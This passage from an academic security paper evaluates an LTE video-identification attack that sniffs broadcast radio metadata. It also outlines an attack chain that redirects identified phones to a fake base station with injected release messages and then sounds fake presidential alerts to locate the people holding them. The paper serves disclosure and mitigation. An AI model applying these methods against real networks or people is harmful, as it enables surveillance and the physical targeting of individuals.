Operating networks. Each MNO may have a different oper-
ational policy for managing downlink resources and network
operations. To investigate the impact of MNOs on successful
video identification, we chose three major MNOs to construct
the YouTube100 dataset (Tab. 3). We collected traces when the
eNB cells of the MNOs had a 5.9–99% downlink utilization
and 1–113 active UEs.
UE. We used two UEs, Galaxy Note5 and Galaxy S6 Edge,
which support 3-band CA.3 To measure the degree to which
CA impedes classifying target videos, we collected two ver-
sions of data traces for each video: one with CA-deactivated
(YouTube100) and the other with CA-activated (YouTubeCA).
When collecting the other datasets, we deactivated CA for
precise evaluation in a controlled environment.
Classifier setup. We implemented two classifiers (§4.4). For

3The latest AirScope (19.09) does not support the 256QAM modulation
scheme (3GPP release 12) [36]. Thus, we choose the above two UEs that
support under 256QAM (e.g., QPSK, 64QAM) for the following experiments.
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Table 4: Impact of class size on the accuracy, F1, and AUC.

Class Size 50 100 150 200 250 300

Acc. 0.994 0.986 0.985 0.980 0.978 0.978
F1 0.993 0.985 0.985 0.979 0.980 0.977

AUC. 0.998 0.998 0.998 0.998 0.999 0.999

the CNN classifier, we used Keras [17] with a TensorFlow
backend [11]. In each experiment, unless specified, we trained
this classifier for 50 epochs with the Adam optimizer [28]
and a batch size of 32. For a decision tree classifier, we lever-
aged Python scikit-learn [37]. We set the depth of the tree
to nine, which is the number of input features. The time to
train these classifiers took at most 129 s for the largest dataset
(i.e., YouTube100) using a machine equipped with an Intel Xeon
E5-2630 CPU and a GTX 1080 GPU.

5.2 Closed-world Classification
We designed the experiments to answer the following four
research questions: (1) Is our classifier indeed able to identify
target videos using broadcast information alone? (2) How
much do MNOs and devices affect the classifier’s perfor-
mance? (3) What is the degree to which class sizes affect
the classifier’s performance? (4) How much does the RNTI
changing affect the classifier’s performance? We answer these
questions by evaluating our CNN classifier. For evaluation
metrics, we conducted five-fold cross-validation and averaged
the measured accuracy, area under the curve (AUC), and F1
score for each trial.
Baseline results. For each combination of the three MNOs
(A, B, and C) and three streaming resolutions (480p, 720p, and
1080p) in the YouTube100 dataset, we conducted a separate ex-
periment. We built a separate classifier for each combination.
Tab. 3 lists the classifier’s performance for each experiment.

The accuracy of our classifier varied between 0.928 and
0.985 across the experiments, demonstrating that our attack is
effective in identifying encrypted video streaming transmitted
over LTE networks. These results are consistent with the prior
experimental results in wired networks, which yielded an
accuracy of 0.99 on 18 YouTube videos [44]. Thus, we have
confirmed that a time series of the victim’s encrypted traffic
volumes is effective when identifying videos, even in cellular
networks.

The three rows at the bottom right of Tab. 3 show the clas-
sifier’s performance on the mixed dataset in which each video
class has all three video resolutions. For all three MNOs,
the classifier achieved an accuracy between 0.958 and 0.980.
This means that the adversary does not need to accurately
infer the video resolution that a target victim uses for watch-
ing YouTube videos. The adversary can instead use a mixed
dataset to classify the victim’s videos without losing accuracy.
Impact of MNOs and devices. To investigate the impact of
MNOs, we evaluated the identification accuracy by using train
and test sets, whose traces were recorded for different MNOs.
The performance of all six train/test combinations showed an
accuracy of 0.88–0.95, meaning that the performance of the

Table 5: Identification accuracy for various sniffing times

Sniffing Time (s) Epoch 15 20 40 60 90 120

YouTube (MNO A) 50 0.78 0.87 0.95 0.96 0.97 0.98
Amazon 500 0.28 0.51 0.87 0.92 0.93 0.95

Sniffing Time (s) Epoch 40 60 120 200 400 800

Netflix 50 0.24 0.37 0.46 0.57 0.75 0.87

attack is independent of the MNOs. To confirm the impact of
devices and app versions, we compared the captured traces of
the same video title streamed by two devices and three app
versions in dataset construction (§5.1). We did not observe
any significant changes due to device/software differences.
Impact of class sizes. As the proposed attack leverages ma-
chine learning techniques for video identification, it could
lead to a trade-off between the number of video titles in the
target list and the identification accuracy. To investigate the
impact of a class size, we expanded the dataset to include 300
video titles. Specifically, we collected 10,069 traces of the
top 300 music videos on YouTube in 1080p using MNO A;
this consists of 3,645 traces from the YouTube100 dataset, and
6,424 traces from the YouTube200 dataset.

Tab. 4 shows the identification accuracy across the datasets
of class sizes ranging from 50 to 300. Considering that the
videos contain similar content (i.e., music videos), the perfor-
mance loss in accuracy is relatively small (1.6 %), demon-
strating that the attack is scalable.
Impact of changing RNTIs. We investigated the degree to
which changing RNTIs contributes to reducing the video
identification accuracy. For this, we measured the accuracy of
our classifier while varying the sniffing duration of LTE traffic.
Unless the adversary handles changing RNTIs, they only have
a short time window to sniff the victim’s radio signals before
the victim’s RNTI is changed. By contrast, if the adversary
tracks the RNTIs, they can compute a non-fragmented series
of traffic volumes for a longer time window.

For evaluation, we trained and tested the classifiers with
the first t time series of traffic volumes, where t represents the
sniffing time. We varied t from 15 to 120 s for the YouTube100

and Amazon datasets, and from 40 to 800 s for the Netflix

dataset, considering the different OFF periods of each service.
Tab. 5 shows the identification accuracy depending on the

sniffing time. In the YouTube100 dataset, we observed that the
accuracy degraded between 3% and 8% when the sniffing
time spanned less than 40 s. For example, the accuracy of
the classifier for MNO A dropped from 0.946 to 0.782 when
the sniffing time was reduced from 40 s to 15 s. Interest-
ingly, sniffing for a single minute was sufficient to achieve
a robust accuracy of over 0.958. As the RNTIs of our UEs
did not change within the first 2 min of all YouTube traces,
the adversary was able to achieve high accuracy even with
a short period of observed traffic before the victim’s RNTI
was changed. We made a similar observation regarding the
Amazon dataset. In all Amazon traces, the UE’s RNTI did not
change because the OFF period did not last over 4 s, which is
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Figure 7: Identification accuracy on the YouTubeCA dataset.

less than the duration (10 s) of the MNOs for releasing radio
connections due to no traffic.

In contrast, in the Netflix dataset, the classifier required a
monitoring window of at least 800 s to achieve an accuracy
of 0.866. During this 800 s window, we observed that RNTIs
were changed 6–37 times, which makes it essential to track
the RNTIs. In particular, 41% of traces in the dataset show
that the UE’s RNTI changed within the first 45 s. On average,
the first RNTI change occurred in 69.2 s. This implies that an
adversary without considering changing RNTIs can achieve
an accuracy of below 0.251 when using trace data in which the
RNTI is changed within the first 45 s. These results mean that
tracking RNTIs is crucial for the successful identification of
videos served with a long-lasting OFF time in LTE networks.

We further investigated the root causes of the performance
difference for a short time window between YouTube and Net-
flix. We observed that a Netflix client fetched video chunks
every 40 s and produced only two ON-OFF periods within the
first minute. Meanwhile, in the YouTube dataset, we observed
10–11 ON-OFF periods within the first 20 s. Note that our
classifier learns the series of traffic volume changes that these
ON-OFF periods generate. Therefore, the more ON-OFF pe-
riods there are, the more distinctive the fingerprint becomes.
Inevitably, the attack for Netflix videos demands a longer
sniffing time to have more ON-OFF periods.
Comparison to prior work. We achieved comparable perfor-
mance to prior work [44] on the YouTube dataset in a wired
network while we used target video titles having over five
times of the previous work. However, the performance on the
Netflix dataset was relatively low. To determine the cause,
we analyzed the working logic of Netflix clients in wired
and LTE networks. From the analysis, we observed that the
client in wired networks (i.e., Chrome) periodically fetches
video chunks every 10 s. This fetching period is much shorter
than that of the mobile application (40 s). This means that
the number of ON-OFF periods monitored in LTE networks
is much lower than that in wired networks during the same
monitoring time. Consequently, the classifier is fed only a few
occurrences of ON-OFF periods, leading to a lower chance
of extracting distinctive streaming patterns.

5.3 Handling Carrier Aggregation
We evaluate how much handling CA contributes to improving
the efficacy of the proposed attack.
Impact of CA. To demonstrate the impact of CA on the

identification accuracy, we ran experiments on the YouTubeCA

dataset collected using a CA-enabled UE. This dataset con-
sists of 1,859, 1,777, and 3,747 traces in MNO A for the
three video qualities (480p, 720p, and 1080p), respectively.
For each streaming resolution, we merged the traces in the
YouTube100 dataset and trained our CNN classifier. Then, we
evaluated the classifier on the YouTubeCA dataset.

Fig. 7a shows the identification accuracy for the three video
qualities when the adversary monitors the PCell without con-
sidering CA. When the UE received videos of 480p and 720p
resolutions, the accuracy was 0.898 and 0.777, respectively.
For both resolutions, we observed that the differences between
the actual volume of streamed video chunks and the estimated
volume calculated based on the DCIs are less than 14.4%
and 15.7%, respectively. Particularly, when the UE receives
high-quality videos (1080p) through CA, the adversary who
only listens to the PCell loses 26.1% of the data volume on
average. This results in a lower accuracy of 0.686. These
results demonstrate that handling CA becomes essential to
boost the accuracy in classifying higher resolution videos.
Improvement through our approach. We compared the
identification accuracy of two attacks: 1) monitoring only the
PCell without considering CA and 2) monitoring the PCell
with CA estimation (§4.3). As shown in Fig. 7b, the proposed
approach of estimating the lost traffic volume with one SDR
improved the accuracy by 29.4% on the 1080p dataset (0.980).

In practice, the decision to use CA for data transmission
is affected by network conditions as well as by the amount
of transmitted data. To demonstrate the effectiveness of our
solutions for handling CA, we additionally constructed two
datasets from the YouTubeCA dataset, reflecting a congested net-
work environment. Each dataset consists of the traces moni-
tored when the usage of allocated downlink Physical Resource
Block (PRB) is above 50% and 70% in the 1080p resolution
dataset, wherein a higher value represents a higher load of the
cell. The underlying assumption here is that CA is likely to
be activated when the network is already congested.

Fig. 7b shows the identification accuracy of an adversary
considering CA. The results for the dataset having a PRB
usage of over 70% show an accuracy of 0.970. In contrast,
the accuracy without considering CA for the same dataset
drops to 0.437. These results demonstrate that handling CA
with packet volume estimation becomes even more crucial for
successful video identification attacks as the underlying LTE
network becomes congested. Note that the estimated volume
using the proposed approach differs by only 1% from the
actual volume measured at the application layer, showing that
our method successfully estimated a missing traffic volume.

5.4 Impact of Network Environment
We investigate the impact of network congestion on identifi-
cation performance. For this, we evaluate our CNN classifier
with the intuitive classifier, dynamic time warping (DTW), on
the YouTube100 dataset. This is particularly because the DTW
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Figure 9: Identification accuracy of two classifiers depending
on PRB usage (1080p video dataset in MNO B)

classifier directly reflects and observes streaming traffic. After
a comparative analysis of the failure cases from the DTW and
CNN classifiers, we observed two patterns: the CNN classi-
fier effectively handles a lagged traffic shape of the network
environment, and it shows robustness in a congested network
environment compared to that of the DTW classifier.

First, we observed that the network environment signifi-
cantly affects the shape of monitored traffic and eventually
reduces the performance of the classifier. Fig. 8 shows three
traces of the same YouTube video (Despacito) captured in
various network environments with different PRB ratios (40%,
63%, and 80%). When the network becomes congested, the
monitored traffic shape lagged. For example, the traffic trans-
mission time for a chunk at an 80% PRB ratio required 3.4
times the transmission time for that at 40% (Fig. 8). Such
different traffic shapes for one video affect the performance
of classifiers. By design, DTW is not robust to accommodate
different shapes of time-series traffic from one source because
it computes the traffic similarity by direct comparison. That
is, a DTW classifier trained on a 40% PRB trace only excels
at classifying data traces at 40% PRB. On the other hand,
the CNN classifier has a convolution filter, which inherently
accounts for traffic chunks lagged over a long time window.

Second, to evaluate the robustness of the classifiers across
network environments, we counted the number of failures
in the identification of the two classifiers at various PRB ra-
tios (Fig. 9) using the 1080p traces collected for MNO B in
the YouTube100 dataset. These traces can effectively show the
congested network environment as MNO B has the largest
number of users among the three MNOs. As expected, the
DTW classifier was highly affected by the network environ-
ment, showing an accuracy lower than 0.6 when the PRB ratio
was over 60%. On the other hand, our CNN classifier has 7.6
and 5.8 times fewer failure cases for traces with 61–70% and
71–80% PRB ratios, respectively. Thus, we confirmed that the
CNN classifier is robust to the cellular network environment,
where congestion affecting a traffic shape frequently occurs.
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Figure 10: Identification accuracy for datasets in Tab. 2 (left)
and precision/recall for YouTube known traces (right)

5.5 Open-world Classification
In practice, the downlink traffic of a victim UE includes a
mixture of multiple videos from different service providers as
well as non-video data. Moreover, the victim may not watch
a video in the pre-selected list. Considering these practical
scenarios, we examine whether the proposed attack is able to
detect videos from unseen traffic of various data types.
Identifying the video service type. We demonstrate the per-
formance of the video service type classifier (i.e., decision
tree classifier) on the three major services. For a given trace,
the adversary has to know the video service type for handling
CA and properly feeding it to the pre-built video title classi-
fier. We trained a classifier on each of the three datasets (i.e.,
AmazonDT, NetflixDT, and YouTube200) and evaluated the classi-
fier on the datasets that do not have overlapping video titles;
YouTube100, Netflix, and Amazon. This implies that all test traces
are unseen to the classifier. The performance of each test set
shows an accuracy of 0.980–0.991, meaning that each service
provider employs a distinguishable HAS logic.

We further analyzed the misclassified cases. For YouTube,
we observed that most incorrect cases were misclassified as
Amazon (0.013) rather than Netflix (0.004). This is because
the traces of YouTube and those of Amazon have more fea-
tures with similar values (e.g., number of chunks or average
ON/OFF period) than those of Netflix.
Identifying the video title. We next evaluated the video title
classifier (i.e., the CNN classifier) with unseen traffic. We
prepared three types of traces recorded by 1) streaming video
titles that were not in the target list but were provided by
the same content provider (YouTube200), 2) streaming videos
from other content providers (Netflix), and 3) web-browsing
(Web) and teleconferencing (Teleconf) to reflect non-video type
traffic (Tab. 2). For the web browsing traces (Web), we ran-
domly visited one of the Alexa top 50 websites [29] every
3 s for 120 s, to generate a similar traffic shape (i.e., the
ON-OFF pattern) as video traffic. Finally, we constructed the
Teleconf dataset by using Google Meet and letting conferences
last 2 min.

We considered the 100 most viewed YouTube videos as the
known video list and trained a classifier using the 1080p video
traces of the YouTube100 dataset used in §5.3. After building the
classifier, we defined an additional “unseen” class, to which
unseen traffic was classified. We established classification
criteria as follows: if the maximum value in the softmax (i.e.,
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the classifier’s output) is below a specified threshold, a given
trace in query belongs to the “unseen” class, regardless of the
video title. Here, we followed the same assumption regarding
the open-world setting used in previous studies [44, 46].

For practical deployment, the adversary may need to set a
confidence threshold. In general, the classifier successfully
filtered out the unseen traces as the confidence threshold value
increased; however, the known traces were easily misidenti-
fied as unseen at a high confidence threshold.

Fig. 10 shows the identification accuracy across various
confidence thresholds for four different types of traces along
with the known video traces (dotted line). In particular, we
observed that the classifier performed differently according
to the type of unseen traces. The identification accuracy of
each dataset reached 0.9 at the following confidence threshold;
0.91 (Netflix), 0.97 (YouTube200), 0.4 (Teleconf), and 0.76 (Web).
Meanwhile, the classifier achieved an accuracy of over 0.9 at
any confidence thresholds for the known YouTube traces.

Among the traffic types, the classifier outperformed for the
non-video type (Teleconf & Web) and video streaming traffic
from other content providers (Netflix). To explain this out-
performance, we investigated the recorded traffic for each type
and confirmed that each unseen traffic type had a distinctive
shape. Since video traffic has a distinctive ON-OFF pattern
distinguishing it from that of other service types, we observed
that the classifier successfully identified the non-video type
traffic (Teleconf & Web). For the Netflix dataset, the duration
of ON-OFF periods differs from that of the YouTube traces,
resulting in a low confidence threshold value to achieve a
high identification accuracy. For the unseen traffic from the
same content provider (YouTube200), although the classifier
requires a high confidence value to achieve a high accuracy,
the adversary benefits from a high precision.

6 End-to-End Attack Scenario
We demonstrate an end-to-end attack that chains the proposed
video identification attack with an emergency alerting attack
to disclose the physical locations of victims. In particular,
we introduce a scenario in which an adversary (e.g., a law
enforcement agency in an oppressive regime) forces the UEs
of victims (e.g., citizens) that have streamed a particular (e.g.,
anti-government) video to make a loud tone, enabling the
adversary who resides near the UEs physically to possibly
locate them.

The key idea is that the adversary selectively forces only
a target UE to move to their fake base station (FBS) without
disrupting other UEs connected to a legitimate eNB. Then,
the FBS sends presidential alerts to the target UE.

6.1 Attack Overview
Fig. 11 shows the overall procedure, which we detail below:
(1) Setting up an FBS in unused radio frequency: The ad-
versary first sets up an FBS in a radio frequency not in use by
MNOs, preventing every UE connected to a legitimate base
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Figure 11: End-to-End attack procedure

station from moving to the FBS. The adversary simply avoids
all the frequencies dedicated to MNOs, which are publicly
available. All UEs, by design [6], connect to i) the radio fre-
quency to which it is connected in prior, or ii) one in the list
of commercially used frequencies. As the FBS operates in
an unused radio frequency, all UEs ignore this FBS and do
not connect to it. Therefore, to force the target UEs to con-
nect to their FBS, the adversary is required to identify them
beforehand.
(2) Identifying victims: The adversary approaches the legit-
imate base station and tracks down UEs via the video iden-
tification attack (§4). Note that before conducting the video
identification attack, the adversary is not assumed to have
any prior knowledge of the target UEs. Given traffic collected
from a cell and a target video list, the adversary conducts the
attack and consequently obtains a tuple (a TMSI, the chain
of RNTIs assigned to the TMSI, and a video title) for each
UE. With this information, the adversary can pinpoint a set
of target UEs.
(3) Redirecting victims to FBS: The adversary now forces
each of the identified UEs to connect to their FBS by sending
a crafted RRCConnectionRelease message. Specifically, the ad-
versary injects the crafted message into the communication
between the target UE and the legitimate base station to which
the target UE is currently connected. Therefore, the target UE
is not yet connected to the FBS when it receives the crafted
message. Recall that a UE receives data only if its own RNTI
is marked in DCIs (§2.1). The adversary can selectively inject
the message to the target UE using their RNTIs obtained in
the prior step without affecting the connections of other UEs
to the legitimate base station.

Upon receiving the message, the target UE immediately
releases the existing connection to the legitimate base sta-
tion. Furthermore, by forging the redirectedCarrierInfo and
idleModeMobilityControlInfo fields in the crafted message,
which specify the next frequency to connect, the adversary
can redirect the target UE to their FBS. To successfully inject
the crafted message, the adversary is required to address the
two challenges that we describe in §6.2.
(4) Sending fake presidential alerts: Finally, the adversary
sends fake presidential alerts to the target UEs redirected to
their FBS, as presented in previous studies [24,33]. By design,
a UE, in the majority of the cases, sounds a loud alarm for
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each presidential alert, thereby revealing its physical presence
at a venue. For example, in a square or large hall, by arranging
the co-workers around the space, the adversary can possibly
identify the victims with the alarm.

6.2 Details of Redirecting Target UEs
When conducting the end-to-end attack, all UEs in a target
cell are connected to a legitimate base station. To redirect
only the target UEs without disturbing other UEs (step (3)
in §6.1), the adversary has to address two challenges. The
adversary has to 1) inject a crafted message for each target
UE through the radio connection to the legitimate base station
and 2) enforce the target UE to accept the crafted message.
Injecting a crafted message. We leveraged the signal over-
shadowing attack [55], which is designed to inject a broadcast
message. Particularly, we extended it to support injecting a
unicast message, such as an RRCConnectionRelease message.
Although this seems straightforward, it requires additional
considerations that involve a) locating the message on the
resource grid properly, and b) encoding the message with
the proper eNB’s configurations (e.g., transmission mode and
generating DCI). By addressing these issues, we succeeded
in injecting a crafted RRCConnectionRelease message over the
air to a specific UE.
Enforcing the target UE to accept the crafted message.
We propose to inject an RRCConnectionRelease message during
the reconnection procedure of a target UE. When a UE con-
nects to an eNB, its security context for secure data transmis-
sion is also established. Having the security context, a UE, by
design [9], is enforced to discard plain RRCConnectionRelease

messages. Here lies the problem that the adversary can in-
ject only plain messages due to the absence of the victim’s
cryptographic keys (§3). For this, we propose to exploit the
reconnection procedure that accompanies the reestablishment
of the security context. By tracking the victim’s connection
status, the adversary can detect the moment when the secu-
rity context is released. Thus, the adversary injects a crafted
RRCConnectionRelease message before a new security context
is established.

Meanwhile, if the target UE has an implementation flaw
that it accepts plain RRCConnectionRelease messages although
having a security context, the attack becomes more efficient
and effective. Note that the 3GPP specification [9] explicitly
states that the UE shall discard plain RRCConnectionRelease

messages if it has a security context. By analyzing several
types of UEs, we indeed found such flaws in two types of
Samsung Galaxy S4/S5 devices equipped with Qualcomm
baseband chipsets. We reported the vulnerability to Qual-
comm and Samsung and received confirmation from both
vendors. This means that UEs equipped with such vulnerable
chipsets accept malicious messages. Thus, the adversary can
immediately conduct the attack.
Differences to previous studies. Other studies [24, 33] have
also presented attacks that send presidential alerts. The attacks

Table 6: Overhead of the proposed mitigation

Baseband Qualcomm Exynos MediaTek
UE Galaxy S8 Galaxy S20 Galaxy S8 Galaxy S10 LG X6

Avg. (ms) 35.70 30.20 8.19 7.38 20.2

involving presidential alerts generally consist of two phases:
1) making UEs connect to an FBS and 2) sending presidential
alerts to all UEs connected to the FBS. Our attack differs
in the first phase compared to the previous ones [24, 33]. It
selectively moves only target UEs to an FBS whereas previous
studies enforce all UEs in the target cell to move to an FBS
by increasing the FBS’s signal strength.
Verifying the feasibility of the attack. We implemented an
FBS by using an open-source LTE protocol stack [47]. It
consists of two components: a) one that broadcasts fake presi-
dential alerts, and b) the other that injects a crafted message.
The components ran on USRP B210 [50] and X310 [51],
respectively. Using the vulnerability described above, we suc-
ceeded in conducting the attack [1]. We further discuss the
practical requirements of the attack in App. E.

7 Mitigations
In this section, we first explore lightweight mitigation, which
requires no changes to UEs and the 3GPP specification. We
then discuss viable alternatives and their requirements.
Light-weight mitigation to MNOs. One mitigation is to
make the adversary unable to link observed RNTIs to the
TMSI (§4.2), thus rendering them incapable of capturing
the complete traffic volume. For this, we propose a small
modification to the operational sequence to reassign RNTIs
as confidential. When establishing a new radio connection
including its security context, a UE would use the first as-
signed RNTI, which could be tracked by the adversary. At
this point, the proposed mitigation is to make an eNB issue
a new RNTI via an encrypted RRCConnectionReconfiguration

message after establishing a security context. The proposed
approach induces a UE to use a new RNTI by handover to
the same cell. This approach requires additional transmis-
sion of RRCConnectionReconfiguration/ReconfigurationComplete
messages and the radio connection reestablishment procedure.

We implemented this mitigation on an eNB that runs on
USRP B210 by modifying an open-source LTE network [47].
We only added fewer than 70 LoC in the srsENB code, which
is mainly related to the logic of re-assigning RNTIs. We
used five UEs from three different baseband manufacturers
and confirmed that the implemented mitigation seamlessly
worked without any changes to the UEs.
Limitations. The proposed mitigation is easily applicable
to commercial networks but has limitations. It imposes per-
formance overhead. We measured the time gap between the
receipt of an RRCConnectionReconfiguration message and the
establishment of a radio connection with the new RNTI.4

4RRCConnectionReconfiguration message containing newUE-
Identity was sent after an AttachComplete message. We measured time on
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This gap represents the additional processing time introduced
by the mitigation. Tab. 6 shows that the average overhead of
30 trials is 7.38–35.7 ms across five different UEs. These over-
heads are approximately 4–21% of the average latency of LTE
service establishment (168.7 ms) for major US operators [35].

Another limitation is that the mitigation only prevents the
adversary from tracking RNTIs. This partially mitigates the
threats of video identification because it does not eliminate
distinguishable traffic patterns of streaming videos.
Viable yet impractical mitigation. There have been various
mitigations to remove the root cause of the video identifica-
tion attack: 1) eliminating distinguishable traffic patterns for
each video; and 2) encrypting DCI. However, those are hard
to be adopted in cellular networks because of their limited
practicality. They require significant changes in terms of both
the implementation and design of video services and cellular
networks.

To eliminate distinguishable traffic patterns, prior works
have introduced several approaches: 1) making the bitrate
constant with a rate control [44]; 2) adding a noise or padding
to each streaming chunk [20, 60]; and 3) varying the size of
each chunk randomly [44]. However, increasing the size of
a video chunk may undermine the video quality as it would
require a larger number of chunks to play the same video.
Furthermore, users tend to be sensitive to the usage of mobile
data, which affects their payments. For instance, Zhang et
al. [60] proposed adding noises with a volume more than
twice that of an original video; this policy would deplete the
users’ monthly data allowance three times faster.

Another mitigation is to encrypt DCIs. Considering that
the proposed attack exploits a time series of traffic volumes
by decoding DCIs, encrypting DCIs eliminates the source of
exploitation. However, this approach would cause significant
overhead to both a cell tower and a UE, as DCIs are sent via
radio signals every 1 ms, already entailing a large number of
decoding and encoding processes. In addition, introducing
encryption to a non-secure protocol layer requires additional
considerations on the design choice of key encryption and
management (including the overhead), thus involving disrup-
tive changes for the LTE protocol design.
Discussion on mitigations. The fundamental cause enabling
this privacy-threatening attack is unencrypted information
broadcast over the air. However, encrypting such informa-
tion entails inevitable performance overhead, thus provoking
mundane discussions of the trade-off between privacy and
performance. We thus encourage ground-breaking research
that eliminates information-leaking public channels with neg-
ligible overhead for the next generation of cellular networks.

8 Discussion
Handling the moving target. One possible limitation of this
work is to link the identity of the victim who moves to differ-

the UE side from the reception of the RRCConnectionReconfiguration
message to the reception of the RandomAccessResponse message.

ent eNBs. Roger et al. revealed that the identifier of the victim
(i.e., RNTI) could be tracked when the UE moves to another
eNB [26] because the RRCConnectionReconfiguration message
is not encrypted and RNTI is not random. However, according
to our measurement, the RNTI values are changed to random
values through encrypted messages whenever the UE moves
to another cell. Nevertheless, due to the unique working logic
of HAS, there is still a chance to track the user. As we pointed
out in §3.1, TMSI-RNTI mapping is possible when the radio
connection is reestablished after the OFF periods. Thus, the
adversary is able to sniff the victim’s traffic continuously. Oth-
erwise, the adversary needs to handle the partially monitored
traffic. For this, it may involve 1) augmenting the training
data with LTE traces from different parts of the video, and 2)
making the classifier shift-invariant.
Identifying the traffic containing ads. Our work provides
a way to measure the complete LTE traffic volume, but it
still has room for improvement in identifying the traffic with
ads. Note that the observed video traffic becomes distorted
when the ads are inserted. For example, due to ad traffic,
fetching the remaining chunks of a target video is delayed.
Thus, the collected traffic becomes different from the shape of
its original traffic without video ads. One plausible solution
is to train the classifier along with traces in which video
ads are redacted. Therefore, a query for this classifier should
become an ad-redacted video as well. However, the starting
time and duration of ads are not deterministic, and these ads
vary by users [56, 57]. Thus, for each classifier query, the
adversary should identify time windows of playing ads and
redact traffic volumes in these windows for accurate video
identification. One alternative is to design a shift-invariant
classifier. However, designing such a classifier is known to
be challenging [59], and we believe that designing a shift-
invariant classifier is orthogonal to our attack. We leave these
additional challenges as future work.
Targeted attacks. One may extend our attack to target a spe-
cific user who is streaming a video of the adversary’s interest.
This targeted attack assumes an adversary who has the vic-
tim’s soft-identifier, such as a phone number or social media
accounts. This adversary requires addressing the following
challenges for successful video identification: they should
1) localize the victim’s physical cell location and approach
the cell coverage, 2) determine the victim’s MNO, and 3)
obtain the victim’s TMSI. The adversary may have several
options to achieve these conditions. Unfortunately, the first
challenge is known to be challenging [22, 31, 45]; thus, this
can be a promising future work. For the second challenge,
the adversary can set up multiple downlink sniffers for all
MNOs in their coverage; in most countries, there are 2-4
MNOs. Besides, scaling up the attack does not require a high
cost considering an SDR cost. For the third challenge, the
adversary can leverage several techniques that associate the
victim’s soft-identifier with the TMSI [22,25,31,45]. One rep-
resentative attack is a silent paging that exploits the relatively
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unchanging nature of TMSI. The adversary makes multiple
calls to the victim and monitors a repeatedly appearing TMSI
in paging messages [22, 31, 45]. ToRPEDO [25] also pro-
posed a way to retrieve the victim’s TMSI by exploiting the
deterministic paging location.

9 Related Work
Video identification attack. There have been several stud-
ies with the same goal of exploiting the VBR-encoded con-
tent in other types of networks. Most studies on wired net-
works [20, 21, 38, 44, 52] or 802.11 [43] assumed a strong
attack model that the adversary has the ability to access the
victim’s network infrastructure or device. In contrast, the ad-
versary in our threat model only harnesses broadcast channels
over the air without any direct access, as presented in wire-
less networks [34]. We concretized practical challenges and
presented a new approach to a video identification attack in
cellular networks. The prior study on 802.11 [43] also as-
sumed a strong adversary; the authors collected data packets
in a pre-connected desktop in the same subnet of the victim,
without considering actual radio signals broadcast over the air.
Traffic analysis in cellular networks. In cellular networks,
although a few previous studies [29, 41] have presented web-
site identification attacks, no one has presented a video identi-
fication attack. Compared to the website identification attacks,
video identification attacks in cellular networks differs in two
aspects: (1) video streaming often carries a large volume of
video chunks, which triggers CA; (2) the streaming policy
of a HAS can cause a long OFF period, which triggers the
victim’s RNTI to be changed. These two characteristics even-
tually raise practical challenges, as discussed in §3.1.

10 Conclusion
This work is the first empirical study on a video identifica-
tion attack in commercial LTE networks. We show that an
adversary can pinpoint victims watching target videos of their
interest without any access to their UEs or the LTE infras-
tructure. By leveraging the proposed methods that exploit the
information embedded in broadcast radio signals, our exten-
sive evaluation of commercial LTE traffic emphasizes that the
adversary with a single SDR can achieve high accuracy in
video identification. We conclude by proposing a lightweight
countermeasure readily deployable without hardware or spec-
ification changes to MNOs and LTE networks.
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Appendix
A Experimental Setup and Ethics
Network environment. To collect the video traces for each
MNO, we connect a downlink sniffer and UE, which reside in
the same building, to the same cell. The distance between the
sniffer and the cell for MNO A, B, and C is 380m, 170m, and
300m, respectively. For all MNOs, we set the UE to use the
PCell covering a 10 MHz bandwidth. When CA is activated,
the UE connects to the two SCells that cover the 10 MHz and
20 MHz bandwidth, respectively. When collecting these CA-
activated traces, we use MNO A that exhibits a high signal to
noise ratio (over 23 dB) among the three MNOs at our site.1

Configuration of the UE. We used a legitimate applica-
tion from each video streaming service provider as follows:
Netflix (7.47.0 and 7.48.0), YouTube (15.05.54, 15.07.52,
and 14.47.50), Amazon Prime (3.0.281), and Google Meet
(43.5.3213). Particularly for YouTube traces (i.e., YouTube100
& YouTube200), we used a premium account; thus, the traces
do not contain any ads. During the data collection procedure,
we did not execute other applications, meaning that one video
application was displayed on top of the test UE.
Ethics. We collected data traces from the operating LTE net-
works. We honored the privacy of other users in the same eNB
in which our sniffer locates. We analyzed information only
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Table 7: DTW and SVM classifier result on YouTube dataset

DTW SVM
MNO 480p 720p 1080p 480p 720p 1080p

A 0.860 0.791 0.798 0.877 0.865 0.951
B 0.815 0.897 0.666 0.827 0.858 0.890
C 0.950 0.899 0.767 0.905 0.898 0.894

related to our testing UEs and computed the classifier only
with traffic from these UEs. We did not keep the remaining
information in the output from the downlink sniffer.

B Comparative Analysis of Other Classifier
We implemented two additional classifiers, DTW [14] and
SVM [48], which were used in previous studies [20, 21] to
evaluate their attacks. We performed five-fold cross-validation
on the YouTube100 dataset in Tab. 2, with the same experimen-
tal setup. That is, the classifiers received the same input as
our CNN classifier. Both classifiers exhibited relatively low
performance compared to ours (Tab. 7). The DTW classifier
yielded an accuracy of 0.666–0.950 across all MNOs and
video resolutions. The SVM classifier achieved a comparable
accuracy of 0.827–0.951 and showed a higher accuracy than
that of the DTW classifier on the 1080p dataset. As we dis-
cussed in §5.4, the classifier using DTW is highly affected by
network congestion and the quality of streamed video chunks.
This is mainly because the traffic shape is likely to lag when
the client receives a high-resolution video chunk with a larger
volume than that of the low-resolution chunk.

C Characteristics of Video Service Providers
The HAS working logic of the tested video streaming service
providers differs in three key factors: the size of an initial
playback buffer, the duration of a chunk, and the algorithm to
fetch a chunk. Based on these factors, the video traffic also
shows a distinctive pattern. As Fig. 12 illustrates, Amazon
shows a long "First ON period", which implies that it uses a
large initial buffer. In contrast, YouTube has a short "First ON
period". In addition, they show the same duration of the OFF
period, which implies that they have the same chunk duration.

D Extension to 5G
We demonstrated that our video identification attack is fea-
sible in LTE networks. Meanwhile, extending the attack to
upcoming 5G networks requires the following challenges to
be addressed: multiple 5G deployment options, sniffing 5G
downlink messages, large computation resources, and SDRs
that support 5G radio signals.

Our attack may not work in 5G-NSA networks. In 5G-NSA,
to use legacy LTE core networks, each LTE radio connection
and its security context must be established first. Then, an
eNB assigns a new 5G-RNTI and establishes a new 5G con-
nection [10]. As the 5G-RNTI is sent in an encrypted message,
an adversary cannot map the victim’s TMSI to the RNTIs.

Conversely, the root cause of the attack remains in 5G-SA
networks. Although the 5G specification introduces new se-
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Figure 12: Video traffic volumes for YouTube and Amazon

curity features, TMSIs are not affected [3]. Furthermore, a
5G-RNTI is exposed in plaintext; therefore, an adversary is
still able to link the victim’s RNTI to the TMSI and distin-
guish the victim’s traffic. As DCIs broadcast over the air
remain unencrypted, the proposed attack is still feasible.

